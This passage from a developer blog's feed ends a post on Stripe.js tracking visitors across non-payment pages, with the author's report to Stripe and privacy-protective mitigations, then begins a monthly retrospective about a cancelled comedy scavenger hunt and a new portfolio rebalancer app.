&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> { loadStripe } from &lt;span style="color:#ed9d13">&amp;#34;@stripe/stripe-js&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Note that my app never even &lt;em>calls&lt;/em> the &lt;code>loadStripe&lt;/code> function. Stripe.js begins tracking user behavior as soon as the client app imports the library. For a single-page app, this occurs the moment the end-user loads any page of the website.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: &lt;code>loadStripe&lt;/code> is a misleading name because Stripe loads before the client application ever calls that function. A more appropriate name would be &lt;code>ensureStripeIsLoaded&lt;/code> because the function&amp;rsquo;s real job is to queue any of the app&amp;rsquo;s API calls until the Stripe library has finished loading.
&lt;/div>

&lt;h2 id="reporting-this-to-stripe">Reporting this to Stripe&lt;/h2>
&lt;p>I &lt;a href="email-to-stripe-support.txt">reported this issue to Stripe support&lt;/a> to see whether it was intended behavior and how to prevent it.&lt;/p>
&lt;p>Stripe responded promptly to tell me that user tracking was by design, and I should, in fact, welcome this functionality:&lt;/p>
&lt;blockquote>
&lt;p>Hi Michael,&lt;/p>
&lt;p>Thanks for getting in touch. Faith here from Stripe support.&lt;/p>
&lt;p>Jumping right in, the calls being seen are by design in order to detect fraud and is in the best interests of the user. According to the docs: &amp;ldquo;To best leverage Stripe’s advanced fraud functionality, include this script on every page, not just the checkout page. This allows Stripe to detect anomalous behavior that may be indicative of fraud as customers browse your website.&amp;rdquo;&lt;/p>
&lt;p>&lt;a href="https://stripe.com/docs/js/including">https://stripe.com/docs/js/including&lt;/a>&lt;/p>
&lt;p>Please let us know should you run into any other issues or have any other concerns.&lt;/p>
&lt;p>All the best,&lt;br>
Faith&lt;/p>&lt;/blockquote>
&lt;p>The &amp;ldquo;in the best interests of the user&amp;rdquo; line felt particularly patronizing. The party benefiting most from this data collection is clearly Stripe and not the user. Stripe is getting free data to train its fraud-detection models and potentially selling that information to advertisers.&lt;/p>
&lt;p>For the user, Stripe.js degrades their experience by forcing them to download an extra JavaScript library and sending extra HTTP requests from their browser. This happens even if the user never visits a page that accepts credit card payments.&lt;/p>
&lt;h2 id="is-stripe-disclosing-this">Is Stripe disclosing this?&lt;/h2>
&lt;p>I looked around for an official disclosure from Stripe about this behavior, but I couldn&amp;rsquo;t find anything. The closest I found is this vague paragraph on &lt;a href="https://www.npmjs.com/package/@stripe/stripe-js">their npm package description&lt;/a>, which the Stripe support rep quoted to me:&lt;/p>
&lt;blockquote>
&lt;p>To best leverage Stripe’s advanced fraud functionality, ensure that Stripe.js is loaded on every page, not just your checkout page. This allows Stripe to detect anomalous behavior that may be indicative of fraud as customers browse your website.&lt;/p>&lt;/blockquote>
&lt;p>The &lt;a href="https://stripe.com/privacy">privacy policy&lt;/a> is a bit more specific about the data they collect, but it implies that they&amp;rsquo;re collecting this data on stripe.com rather than on customer sites:&lt;/p>
&lt;blockquote>
&lt;p>Our Sites use cookies and other technologies to function effectively. These technologies record information about your use of our Sites, including:&lt;/p>
&lt;ul>
&lt;li>Browser and device data, such as IP address, device type, operating system and Internet browser type, screen resolution, operating system name and version, device manufacturer and model, language, plug-ins, add-ons and the language version of the Sites you are visiting;&lt;/li>
&lt;li>Usage data, such as time spent on the Sites, pages visited, links clicked, language preferences, and the pages that led or referred you to our Sites.&lt;/li>
&lt;/ul>
&lt;p>We also may collect information about your online activities on websites and connected devices over time and across third-party websites, devices, apps and other online features and services.&lt;/p>&lt;/blockquote>
&lt;p>Worryingly, the privacy policy also includes loose wording that allows Stripe to sell this data to advertisers:&lt;/p>
&lt;blockquote>
&lt;p>When you visit our Sites or online services, both we and certain third parties collect information about your online activities over time and across different sites to provide you with advertising about products and services tailored to your individual interests (this type of advertising is called “interest-based advertising”).&lt;/p>&lt;/blockquote>
&lt;h2 id="mitigation">Mitigation&lt;/h2>
&lt;p>For site owners to prevent this invasive tracking from Stripe, there are two problems to solve:&lt;/p>
&lt;ol>
&lt;li>Delay execution of Stripe&amp;rsquo;s library until the user reaches a page where payment is required&lt;/li>
&lt;li>Unload the Stripe library after the user completes payment.&lt;/li>
&lt;/ol>
&lt;h3 id="solving-problem-one-defer-stripes-script-loading">Solving problem one: defer Stripe&amp;rsquo;s script loading&lt;/h3>
&lt;p>As mentioned &lt;a href="#confirming-the-issue">above&lt;/a>, Stripe begins executing as soon as the app imports the library. Some developers intentionally prevent this behavior by &lt;a href="https://stackoverflow.com/a/61248986/90388">adding asynchronous wrapper functions&lt;/a> or using &lt;a href="https://webpack.js.org/guides/code-splitting/">code splitting&lt;/a>.&lt;/p>
&lt;p>Fortunately, the stripe-js v.1.4.0 release, published last week &lt;a href="https://github.com/stripe/stripe-js/issues/43#issuecomment-614864800">offers a cleaner solution&lt;/a>. The update introduced the &lt;code>@stripe/stripe-js/pure&lt;/code> import path, which allows clients to import Stripe without side-effects:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> { loadStripe } from &lt;span style="color:#ed9d13">&amp;#34;@stripe/stripe-js/pure&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This delays Stripe&amp;rsquo;s library execution until the app explicitly calls the &lt;code>loadStripe&lt;/code> function. If you limit calls to the &lt;code>loadStripe&lt;/code> function only to pages or components that involve Stripe payments, Stripe will only load on those pages, thus preventing user tracking earlier in the browsing session.&lt;/p>
&lt;h3 id="solving-problem-two-unloading-stripe-after-payment">Solving problem two: unloading Stripe after payment&lt;/h3>
&lt;p>Deferring Stripe&amp;rsquo;s library load is only half the battle. Even if you load Stripe only at payment time, their JavaScript persists in your app and continues tracking the user for the rest of their session. To prevent this, your app must force Stripe to unload when the customer&amp;rsquo;s payment is complete.&lt;/p>
&lt;p>Stripe unfortunately offers no supported way to unload its library or disable its user monitoring. One intrepid developer &lt;a href="https://github.com/stripe/react-stripe-elements/issues/99#issuecomment-522045812">created a JavaScript snippet to aggressively unload all Stripe code&lt;/a>, but it&amp;rsquo;s specific to React and is, by nature, a brittle solution because it depends on undocumented properties of the Stripe library that may change at any time.&lt;/p>
&lt;p>I addressed the issue in my app by forcing an HTTP reload when the user exits my payment page. In Vue, the &lt;a href="https://router.vuejs.org/guide/advanced/navigation-guards.html#in-component-guards">&lt;code>beforeRouteLeave&lt;/code>&lt;/a> hook executes before leaving the page. I added a hook that interrupts the routing process and forces the application to make a full HTTP request to the next route:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>beforeRouteLeave(to) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Force an HTTP request instead of a JavaScript route change because we need
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#999;font-style:italic">// a new page load that does *not* import Stripe.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#24909d">window&lt;/span>.location.replace(to.path);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="new-disable-user-tracking">(New) Disable user tracking&lt;/h3>
&lt;div class="notice notice-info">
 &lt;strong>Added&lt;/strong>: April 30, 2020
&lt;/div>

&lt;p>After the initial publication of my article, Stripe updated its JavaScript library to include &lt;a href="https://github.com/stripe/stripe-js/blob/ef32028d0e1f8381b3b4ecca8bc74bf659e7153e/README.md#disabling-advanced-fraud-detection-signals">a new parameter to disable tracking entirely&lt;/a>. This option is available as of &lt;code>@stripe/stripe-js&lt;/code> v1.5.0:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> { loadStripe } from &lt;span style="color:#ed9d13">&amp;#34;@stripe/stripe-js/pure&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>loadStripe.setLoadParameters({ advancedFraudSignals: &lt;span style="color:#6ab825;font-weight:bold">false&lt;/span> });
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> stripe = &lt;span style="color:#6ab825;font-weight:bold">await&lt;/span> loadStripe(&lt;span style="color:#ed9d13">&amp;#34;pk_test_TYooMQauvdEDq54NiTphI7jx&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is a welcome option, though the downside is that the functionality is all-or-nothing. If you enable fraud detection, you can&amp;rsquo;t turn it off after a Stripe transaction is complete unless you force a page reload (see &lt;a href="#solving-problem-two-unloading-stripe-after-payment">above&lt;/a>).&lt;/p>
&lt;h3 id="optional-content-security-policy-for-defense-in-depth">(optional) Content Security Policy for defense in depth&lt;/h3>
&lt;p>The previous two steps are sufficient to prevent Stripe&amp;rsquo;s tracking. For additional protection, apply &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">Content Security Policy&lt;/a> (CSP) to restrict Stripe to your payment pages.&lt;/p>
&lt;p>Here&amp;rsquo;s what it looks like for my app:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 815px">



 &lt;a href="https://mtlynch.io/stripe-recording-its-customers/stripe-csp.png">
 &lt;img
 
 sizes="(min-width: 768px) 815px, 98vw"
 srcset='https://mtlynch.io/stripe-recording-its-customers/stripe-csp_hu_db19cb7508afc911.png 300w, https://mtlynch.io/stripe-recording-its-customers/stripe-csp_hu_40cea8f44988587.png 600w, https://mtlynch.io/stripe-recording-its-customers/stripe-csp_hu_b3a368cab458eac2.png 800w, https://mtlynch.io/stripe-recording-its-customers/stripe-csp.png 815w'
 src="https://mtlynch.io/stripe-recording-its-customers/stripe-csp.png" alt="Screenshot of CSP headers on my payment page vs. a normla page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://assetrebalancer.com">Portfolio Rebalancer&lt;/a> uses per-page &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">Content Security Policy&lt;/a> to prevent Stripe from loading anywhere in the app except the payment page.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It&amp;rsquo;s a bit tricky to implement per-page CSP in a single-page app because the browser, by default, won&amp;rsquo;t query the server for new policies when the user navigates to a new page. To force a policy refresh, I use Vue&amp;rsquo;s &lt;a href="https://router.vuejs.org/guide/advanced/navigation-guards.html#in-component-guards">&lt;code>beforeRouteEnter&lt;/code>&lt;/a> guard on my payment page to force a new HTTP request when the page loads.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>beforeRouteEnter(to, from) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// If we&amp;#39;re landing on this page from another route, force an HTTP request
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#999;font-style:italic">// so that we retrieve the route-specific Content Security Policy header.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (from.matched.length &amp;gt; &lt;span style="color:#3677a9">0&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">window&lt;/span>.location.replace(to.path);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It&amp;rsquo;s probably not worth implementing CSP solely to hobble Stripe, but if you have a working policy in place, it provides additional assurance that Stripe&amp;rsquo;s library runs only on your payment pages.&lt;/p>
&lt;h2 id="demo-site">Demo site&lt;/h2>
&lt;p>To see Stripe&amp;rsquo;s behavior on a live site, I created a minimal Vue app that demonstrates this behavior:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://web.archive.org/web/20250730195506/https://5e9db0c5ea0e3200062c02ea--frosty-banach-185455.netlify.app/">Vulnerable site&lt;/a> &lt;a href="https://github.com/mtlynch/stripe-snooping-example">(source)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://web.archive.org/web/20250227144611/https://frosty-banach-185455.netlify.app/">Site with mitigations&lt;/a> &lt;a href="https://github.com/mtlynch/stripe-snooping-example/pull/1/files#diff-6d8c4c1f8080f58cb36a900829a76f43">(source)&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="summary">Summary&lt;/h2>
&lt;p>Websites that use Stripe to collect payment usually include Stripe&amp;rsquo;s JavaScript library within their application. Integrating it according to Stripe&amp;rsquo;s documentation causes the library to share user tracking data with Stripe throughout the user&amp;rsquo;s browsing session, even on pages that do not interact with Stripe or display payment forms. This data includes:&lt;/p>
&lt;ul>
&lt;li>Full URLs of each page the user visits, including query parameters and URL fragments&lt;/li>
&lt;li>Timings of how quickly the user moves their mouse during browsing&lt;/li>
&lt;li>A cookie that allows Stripe to track the same user across the web&lt;/li>
&lt;/ul>
&lt;p>Stripe does not clearly disclose their collection of this data, and they make it difficult for client applications to limit the library&amp;rsquo;s tracking behavior.&lt;/p>
&lt;p>When discussing the issue informally, Stripe has &lt;a href="https://github.com/stripe/react-stripe-elements/issues/99#issuecomment-528987443">publicly stated&lt;/a> that they use the data exclusively for fraud protection and diagnostics, but language in their &lt;a href="https://stripe.com/privacy">privacy policy&lt;/a> suggests that they may also use or sell it for marketing purposes.&lt;/p>
&lt;h2 id="recommendations-to-stripe">Recommendations to Stripe&lt;/h2>
&lt;p>Given how seriously Stripe seems to take security and privacy, it&amp;rsquo;s surprising that they have been collecting so much data from their customers with so little transparency. My hope is that this is simply an oversight that&amp;rsquo;s persisted because too few customers have noticed.&lt;/p>
&lt;p>There are several actions Stripe can take to rectify this situation:&lt;/p>
&lt;ul>
&lt;li>Clearly disclose data sharing.
&lt;ul>
&lt;li>The npm package pages and the Stripe.js documentation should clearly define what browsing and telemetry data the library transmits to Stripe when a client application integrates it.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Support library unloading.
&lt;ul>
&lt;li>Give client applications a supported mechanism to unload Stripe after the app has collected a user&amp;rsquo;s payment.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Grant client applications control over what data to share via opt-in.
&lt;ul>
&lt;li>Stripe clients bear the cost of chargebacks against their application, so they should decide how much information to share with Stripe to reduce those chargebacks.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;div class="notice notice-info">
 &lt;p>&lt;strong>Update: April 21, 2020 - 2:47pm ET&lt;/strong>&lt;/p>
&lt;p>Stripe co-founder Patrick Collison &lt;a href="https://news.ycombinator.com/item?id=22937303">responded to this article&lt;/a> reasserting Stripe&amp;rsquo;s commitment to use the data collected exclusively for fraud detection. He added that Stripe will soon clarify language in its terms of service around their data collection practices.&lt;/p>
&lt;p>&lt;strong>Correction&lt;/strong>: The article originally said, &amp;ldquo;Websites that use Stripe to collect payment &lt;strong>must&lt;/strong> include Stripe&amp;rsquo;s JavaScript library,&amp;rdquo; but Collison points out that this is inaccurate, as it is possible for websites to integrate with Stripe without using the Stripe JS library.&lt;/p>

&lt;/div>

&lt;div class="notice notice-info">
 &lt;p>&lt;strong>Update: April 30, 2020&lt;/strong>&lt;/p>
&lt;p>Stripe has &lt;a href="https://stripe.com/blog/advanced-fraud-detection-updates">revised their privacy policy and developer documentation&lt;/a> and added functionality to their JavaScript library that empowers integrators to limit tracking behavior.&lt;/p>
&lt;p>I published a follow-up post that discusses how Stripe&amp;rsquo;s changes address the concerns I raised:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/stripe-update/">Update: Stripe&amp;rsquo;s Response Regarding User Tracking&lt;/a>&lt;/li>
&lt;/ul>

&lt;/div>
</content:encoded></item><item><title>An Unexpected Reset Month</title><link>https://mtlynch.io/retrospectives/2020/04/</link><pubDate>Thu, 02 Apr 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2020/04/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>My loved ones and I are safe and healthy.&lt;/li>
&lt;li>WanderJest is on hiatus due to the nationwide shutdown.&lt;/li>
&lt;li>I&amp;rsquo;m working on a product to help investors rebalance their portfolios.&lt;/li>
&lt;/ul>
&lt;h2 id="covid-19-and-me">COVID-19 and me&lt;/h2>
&lt;p>Obviously, the most relevant thing to happen in the last month has been the global spread of COVID-19. It has been a difficult and rapidly-changing time for all of us, and I hope that we can all return to normal life quickly when it&amp;rsquo;s safe to do so.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>My loved ones and I are safe and healthy.&lt;/li>
&lt;li>WanderJest is on hiatus due to the nationwide shutdown.&lt;/li>
&lt;li>I&amp;rsquo;m working on a product to help investors rebalance their portfolios.&lt;/li>
&lt;/ul>
&lt;h2 id="covid-19-and-me">COVID-19 and me&lt;/h2>
&lt;p>Obviously, the most relevant thing to happen in the last month has been the global spread of COVID-19. It has been a difficult and rapidly-changing time for all of us, and I hope that we can all return to normal life quickly when it&amp;rsquo;s safe to do so.&lt;/p>
&lt;p>I&amp;rsquo;m extremely fortunate to be in a position to continue living safely and doing most of what I want while rigorously self-isolating. I&amp;rsquo;m an introvert programmer, so staying home on the computer isn&amp;rsquo;t that hard for me. I&amp;rsquo;m glad I &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/#so-i-bought-a-house">moved from NYC to a small town in Western Massachusetts&lt;/a>, as it&amp;rsquo;s easy for me to hang out in my yard, visit my beehives, or go for walks without risking anyone&amp;rsquo;s health. My girlfriend is working from home in our guest bedroom, so we&amp;rsquo;re both very grateful that we have each other during the self-isolation. The biggest change is that I don&amp;rsquo;t get to see my family in person anymore, but we&amp;rsquo;ve started arranging video calls to stay connected.&lt;/p>
&lt;p>In February, I found myself &lt;a href="https://mtlynch.io/retrospectives/2020/03/#managing-stress">backsliding into social media addiction&lt;/a> because Facebook and Instagram were integral parts of my business. I recognized what I had to do to stop compulsively checking social media, and I did well for about a week&amp;hellip; Then COVID-19 happened, and I began obsessively checking everything all the time, worse than ever before. I&amp;rsquo;m still managing that poorly, but I&amp;rsquo;m hoping that April will be a reset and get me back to &lt;a href="https://mtlynch.io/eliminate-distractions/">my good social media habits&lt;/a>.&lt;/p>
&lt;h2 id="my-failed-scavenger-hunt">My failed scavenger hunt&lt;/h2>
&lt;p>In my last retrospective, I had &lt;a href="https://mtlynch.io/retrospectives/2020/03/#100-in-revenue-but-at-what-cost">invested $600 into publicity for a comedy scavenger hunt&lt;/a>, and I was worried that it would flop. It did indeed flop, and not even due to COVID-19.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/04/canceled-contest.png">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/04/canceled-contest_hu_ece58ba30e3b9646.png 300w, https://mtlynch.io/retrospectives/2020/04/canceled-contest_hu_b7d23b282ca7e746.png 600w, https://mtlynch.io/retrospectives/2020/04/canceled-contest_hu_36ed7b7c88efcbaf.png 800w, https://mtlynch.io/retrospectives/2020/04/canceled-contest_hu_fe889bd39474ce20.png 1200w, https://mtlynch.io/retrospectives/2020/04/canceled-contest.png 1201w'
 src="https://mtlynch.io/retrospectives/2020/04/canceled-contest.png" alt="Banner for scavenger hunt with canceled stamp over it" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I canceled the WanderJest Scavenger Hunt on March 11th.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>In the first week of March, people were still attending local comedy shows as usual. I&amp;rsquo;d go to these shows and hand out promotional cards about the scavenger hunt and explain to people that if they took a picture during the show and tagged it @WanderJest on social media, they&amp;rsquo;d enter a grand prize drawing for $200. People generally seemed receptive. &amp;ldquo;$200? Wow, cool!&amp;rdquo;&lt;/p>
&lt;p>And then they just wouldn&amp;rsquo;t take any photos. I made Facebook ads, put up flyers, and promoted the contest through my social media channels, but nobody participated.&lt;/p>
&lt;p>Comedians didn&amp;rsquo;t seem excited about it either, even the ones who had paid to sponsor the contest. While designing it, I felt so clever for including a $50 prize for &amp;ldquo;most photographed performer&amp;rdquo; because I expected it to help performers feel invested in the contest and inspire them to mention it when they hosted comedy shows. But nobody did.&lt;/p>
&lt;p>My best guess is that local comedy is cool, and PR contests are &lt;em>not&lt;/em> cool. Perhaps people didn&amp;rsquo;t want to be seen as desperate to win $200, especially when nobody else was participating.&lt;/p>
&lt;h2 id="putting-wanderjest-on-hold">Putting WanderJest on hold&lt;/h2>
&lt;p>Even before the start of the month, news about COVID-19 was getting worse, but I didn&amp;rsquo;t know what the appropriate level of response was. Huge conferences and sporting events were obviously a bad idea, but was it a problem to have 20-30 mostly young, healthy people in a room together?&lt;/p>
&lt;p>Every day, news about COVID-19 got worse, and it became ever-clearer that we needed to take drastic action to slow the spread. On March 10th, the governor of Massachusetts declared a state of emergency and prohibited gatherings of over 50 people. Most local comedy shows in the area fit within that, but I no longer felt comfortable attending shows, and I didn&amp;rsquo;t want to incentivize others to attend. The next morning, I refunded all of the sponsors and announced the cancelation of the contest.&lt;/p>
&lt;p>Because of the contest&amp;rsquo;s pitiful engagement, only one person had taken a photo during the 10 days of the contest. The grand prize was $200, but I offered her $100 in light of the circumstances, and we both felt that was fair.&lt;/p>
&lt;p>A week later, performances were still happening, but I didn&amp;rsquo;t want WanderJest to tacitly endorse them by listing upcoming shows. I replaced the WanderJest show listings page with a notice saying that the site was going on a temporary hiatus until the COVID-19 pandemic was over. Looking back, March 18th feels like too late a reaction, and I wish I&amp;rsquo;d shuttered the site earlier.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/04/wanderjest.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/04/wanderjest_hu_58ef28f91e8380d0.png 300w, https://mtlynch.io/retrospectives/2020/04/wanderjest_hu_e53057d949f39b1c.png 600w, https://mtlynch.io/retrospectives/2020/04/wanderjest_hu_3a8c65fb8a18a429.png 800w, https://mtlynch.io/retrospectives/2020/04/wanderjest.png 1000w'
 src="https://mtlynch.io/retrospectives/2020/04/wanderjest.png" alt="Screenshot of WanderJest website with hiatus notice" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>WanderJest is on indefinite hiatus until the US gets COVID-19 under control.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="takeaways-from-the-scavenger-hunt">Takeaways from the scavenger hunt&lt;/h2>
&lt;p>&lt;strong>Rushing the contest was the right choice&lt;/strong>&lt;/p>
&lt;p>The contest cost $600 for marketing another $100 in prizes, but it failed miserably at &lt;a href="https://mtlynch.io/retrospectives/2020/03/#goals-for-next-month">my goal of spurring 40 new user signups&lt;/a>. At first, I felt stupid for spending so much money without any evidence that people would participate. I could have limited the cost had I started slower and left myself room to cancel the contest if it failed to gain traction early on.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/04/promo-cards.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/04/promo-cards_hu_30f8c80458d26159.jpg 300w, https://mtlynch.io/retrospectives/2020/04/promo-cards_hu_5826fd20656d1f57.jpg 600w, https://mtlynch.io/retrospectives/2020/04/promo-cards_hu_247739429a53a2c6.jpg 800w, https://mtlynch.io/retrospectives/2020/04/promo-cards_hu_eeb22c4f36b9d995.jpg 1200w, https://mtlynch.io/retrospectives/2020/04/promo-cards.jpg 1500w'
 src="https://mtlynch.io/retrospectives/2020/04/promo-cards.jpg" alt="Banner for scavenger hunt with canceled stamp over it" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>These 500 unused promotional cards will come in handy the next time I launch a contest happening in March 2020.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>In retrospect, I&amp;rsquo;m glad I rushed into the contest and spent the money. I certainly could have set a later start date and given myself more time to evaluate people&amp;rsquo;s interest, but my top priority was finding ways to attract users to WanderJest. If $700 got me the results of my experiment a few weeks earlier than a more measured approach, that&amp;rsquo;s an acceptable tradeoff.&lt;/p>
&lt;p>&lt;strong>Paper flyers did nothing&lt;/strong>&lt;/p>
&lt;p>In a last act of desperation, when other marketing strategies weren&amp;rsquo;t working, I hired a local printing company to make 150 flyers and then hired a flyering company to distribute them around town. The flyers had a unique URL, which allowed me to measure their performance against my other advertising channels.&lt;/p>
&lt;p>The results? Two visitors.&lt;/p>
&lt;p>I paid ~$200 for the design, printing, and distribution, and &lt;strong>two people&lt;/strong> visited the URL. It&amp;rsquo;s possible that other people saw the flyer and just Googled &amp;ldquo;wanderjest,&amp;rdquo; but I didn&amp;rsquo;t see any measurable uptick in search traffic.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 393px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/04/flyer-litter.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 393px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/04/flyer-litter_hu_a647ebfefb7f6c1f.png 300w, https://mtlynch.io/retrospectives/2020/04/flyer-litter.png 391w'
 src="https://mtlynch.io/retrospectives/2020/04/flyer-litter.png" alt="Text conversation of my sister showing me a flyer that showed up on her lawn" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The only real engagement from my flyers was my sister texting me to complain sarcastically about one that blew onto her lawn.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>&lt;strong>WanderJest isn&amp;rsquo;t working&lt;/strong>&lt;/p>
&lt;p>My main takeaway from the contest is that WanderJest isn&amp;rsquo;t working in its current form and needs a drastic change.&lt;/p>
&lt;p>Here are pivots I&amp;rsquo;m considering for when live comedy starts up again:&lt;/p>
&lt;ul>
&lt;li>Do the same thing, but scale it to a bigger city like New York or Chicago, where there&amp;rsquo;s a critical mass of die-hard comedy fans.&lt;/li>
&lt;li>Focus on the more specialized niche of traveling comedians who rely on comedy for their income.&lt;/li>
&lt;li>Offer paid services to comedy venues (e.g., tools for booking performers or managing show schedules).&lt;/li>
&lt;/ul>
&lt;h2 id="creating-an-investment-rebalancer">Creating an investment rebalancer&lt;/h2>
&lt;p>Without WanderJest, I needed a new project. I periodically &lt;a href="https://www.bogleheads.org/wiki/Rebalancing">rebalance my portfolio&lt;/a> to maintain my desired asset ratio of 50% bonds, 35% US stocks, and 15% international stocks. Rebalancing is tedious and usually involves me tinkering with a spreadsheet for 45 minutes, testing out different hypothetical trades.&lt;/p>
&lt;p>I looked for products that could speed this up, and the options seemed to be:&lt;/p>
&lt;ul>
&lt;li>Robo-investing services, such as &lt;a href="https://www.betterment.com">Betterment&lt;/a>&lt;/li>
&lt;li>Tools that are only available as part of bulky, expensive investment management platforms&lt;/li>
&lt;li>Free Excel spreadsheet templates that are difficult to use&lt;/li>
&lt;li>Free online calculators whose functionality is limited&lt;/li>
&lt;/ul>
&lt;p>There aren&amp;rsquo;t any user-friendly tools for people who want to rebalance their assets but don&amp;rsquo;t want to buy into a huge financial services platform.&lt;/p>
&lt;p>And because of the recent market volatility, interest in portfolio rebalancing is at a five-year high:&lt;/p>
&lt;script type="text/javascript" src="https://ssl.gstatic.com/trends_nrtr/2152_RC02/embed_loader.js">&lt;/script> &lt;script type="text/javascript"> trends.embed.renderExploreWidget("TIMESERIES", {"comparisonItem":[{"keyword":"rebalance portfolio","geo":"US","time":"2015-04-01 2020-04-01"}],"category":0,"property":""}, {"exploreQuery":"date=today%205-y&amp;geo=US&amp;q=rebalance%20portfolio","guestPath":"https://trends.google.com:443/trends/embed/"}); &lt;/script>
&lt;p>I spent the last two weeks making a minimum viable product of &lt;a href="https://rebalancer.mtlynch.io">Portfolio Rebalancer&lt;/a>, a web app that shows you the trades you need to make in your &lt;a href="https://vanguard.com">Vanguard&lt;/a> account to achieve your desired asset allocation strategy:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 743px">



